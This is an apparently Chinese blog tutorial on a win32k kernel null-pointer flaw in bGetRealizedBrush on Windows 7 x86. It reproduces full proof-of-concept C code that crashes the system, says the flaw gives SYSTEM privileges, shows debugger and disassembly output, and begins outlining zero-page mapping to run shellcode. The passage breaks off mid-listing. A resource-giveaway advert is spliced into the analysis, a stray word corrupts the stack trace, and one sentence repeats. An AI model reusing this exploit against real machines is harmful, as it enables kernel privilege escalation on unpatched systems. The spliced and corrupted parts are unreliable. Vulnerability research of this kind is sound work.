1.漏洞信息
该漏洞是在win32k中的bGetRealizedBrush产生的是内核空指针引用的漏洞,可以完成提权操作。因为有公开的POC,因此,对这一漏洞的分析和利用变得简单,POC代码如下:
/** * Author: bee13oy of CloverSec Labs * BSoD on Windows 7 SP1 x86 / Windows 10 x86 * EoP to SYSTEM on Windows 7 SP1 x86**/ #include <Windows.h> #pragma comment(lib, "gdi32.lib")#pragma comment(lib, "user32.lib") #ifndef W32KAPI#define W32KAPI DECLSPEC_ADDRSAFE#endif unsigned int demo_CreateBitmapIndirect(void){ static BITMAP bitmap ={ 0, 8, 8, 2, 1, 1 }; static BYTE bits[8][2]={ 0xFF, 0, 0x0C, 0, 0x0C, 0, 0x0C, 0, 0xFF, 0, 0xC0, 0, 0xC0, 0, 0xC0, 0 }; bitmap.bmBits = bits; SetLastError(NO_ERROR); HBITMAP hBitmap = CreateBitmapIndirect(&bitmap); return (unsigned int)hBitmap;}#define eSyscall_NtGdiSetBitmapAttributes 0x1110 W32KAPI HBITMAP NTAPI NtGdiSetBitmapAttributes(HBITMAP argv0, DWORD argv1){ HMODULE _H_NTDLL = NULL; PVOID addr_kifastsystemcall = NULL; _H_NTDLL = LoadLibrary(TEXT("ntdll.dll")); addr_kifastsystemcall = (PVOID)GetProcAddress(_H_NTDLL, "KiFastSystemCall"); __asm{ push argv1; push argv0; push 0x00; mov eax, eSyscall_NtGdiSetBitmapAttributes; mov edx, addr_kifastsystemcall; call edx; add esp, 0x0c; }}void Trigger_BSoDPoc(){ HBITMAP hBitmap1 = (HBITMAP)demo_CreateBitmapIndirect(); HBITMAP hBitmap2 = (HBITMAP)NtGdiSetBitmapAttributes((HBITMAP)hBitmap1, (DWORD)0x8f9); RECT rect ={ 0 }; rect.left = 0x368c; rect.top = 0x400000; HRGN hRgn = (HRGN)CreateRectRgnIndirect(&rect); HDC hdc = (HDC)CreateCompatibleDC((HDC)0x0); SelectObject((HDC)hdc, (HGDIOBJ)hBitmap2); HBRUSH hBrush = (HBRUSH)CreateSolidBrush((COLORREF)0x00edfc13); FillRgn((HDC)hdc, (HRGN)hRgn, (HBRUSH)hBrush);}int main(){ Trigger_BSoDPoc(); return 0;}
2.实验环境
操作系统:Win7 x86 sp1编译器:Visual Studio 2017调试器:IDA,WinDbg二.漏洞分析【→所有资源都关注我,私信回复信息获取←】
1.网络安全学习路线
2.电子书(白帽子)
3.安全厂内视频
4、100份src文档
5.常见的安全面试题
6、ctf比赛经典题目分析
7.全套工具包
8.应急响应笔记
编译运行POC,根据信息,崩溃发生在win32k!bGetRealizedBrush偏移0x38的地址。bGetRealizedBrush偏移0x38地址。此时崩溃的原因是eax为0,函数要对[eax 0x24]在验证这个地址中的数据时,会因为[0x24不是一个合法的地址。
kd> gKDTARGET: Refreshing KD connectionAccess violation - code c0000005 (!!! second chance !!!)win32k!bGetRealizedBrush 0x38:96980560 f6402401 test byte ptr[eax 24h],11: kd> r eaxeax=000000001: kd> kChildEBP RetAddr 9c3339a0 969834af win32k!bGetRealizedBrush 0x389c3339b8 969f9b5e win32k!bGetRealizedBrush 0x389c3339b8 969f9b5e win32k!pvGetEngRbrush 0x1f9c333a1c 96a7b6e8 win32k!EngBitBlt 0x3379c333a54 96a7bb9d win32k!EngPaint 0x519c333c20 83e781ea win32k!NtGdiFillRgn 0x3399c3路由知识33c20 77c270b4 nt!KiFastCallEntry 0x12a0012feac 77dd066b ntdll!KiFastSystemCallRet0012feb0 77dd064f gdi32!NtGdiFillRgn 0xc0012fed0 0042ba63 gdi32!FillRgn 0xb2
根据偏移,可以在IDA根据IDA可以知道,此时是因为EBRUSHOBJ偏移0x34中的数据为0导致崩溃
.text:BF840543 loc_BF840543: ; CODE XREF: bGetRealizedBrush(BRUSH *,EBRUSHOBJ *,int (*)(_BRUSHOBJ *,_SURFOBJ *,_SURFOBJ *,_SURFOBJ *,_XLATEOBJ *,ulong)) 12↑j.text:BF840543 push ebx.text:BF840544 mov ebx,[ebp arg_4]; 赋予第二个参数ebx,此时ebx指向EBRUSHOBJ结构体.text:BF840547 push esi.text:BF840548 xor esi, esi.text:BF84054A mov[ebp var_24], eax.text:BF84054D mov eax,[ebx 34h]; 将ebx偏移0x34中保存的数据被赋予eax.text:BF840550 mov[ebp arg_0], esi.text:BF840553 mov[ebp var_2C], esi.text:BF840556 mov[ebp var_28], 0.text:BF84055A mov eax,[eax 1Ch].text:BF84055D mov[ebp arg_4], eax.text:BF840560 test byte ptr[eax 24h], 1 ; 崩溃的地方.text:BF840564 mov[ebp var_1C], esi.text:BF840567 mov[ebp var_10], esi.text:BF84056A jz short loc_BF84057A
三.漏洞利用
崩溃的原因是0地址不是一个合法的地址,所以只需要在0地址中申请一个内存,这样0地址就可以防止崩溃,让程序继续运行。同时,函数中有函数调用,可以通过更改相关数据来执行ShellCode。同时,函数中有函数调用,可以通过更改相关数据来执行ShellCode。
在bGetRealizedBrush函数调用在函数中有三个地方。两个位置内容如下,函数通过第三个参数调用。由于第三个参数无法控制,因此不能使用这两个位置。
.text:BF840763 loc_BF840763: .text:BF840763 or eax, 80000000h.text:BF840768 push eax.text:BF840769 push esi.text:BF84076A push esi.text:BF84076B push esi.text:BF84076C push ecx.text:BF84076D push ebx.text:BF84076E call[ebp arg_8].text:BF840771 test eax, eax.text:BF840773 jz short loc_BF84077D 。。。。.text:BF840C27 loc_BF840C27: .text:BF840C27 push[ebp var_24].text:BF840C2A push esi.text:BF840C2B push[ebp var_1C].text:BF840C2E push ec
x.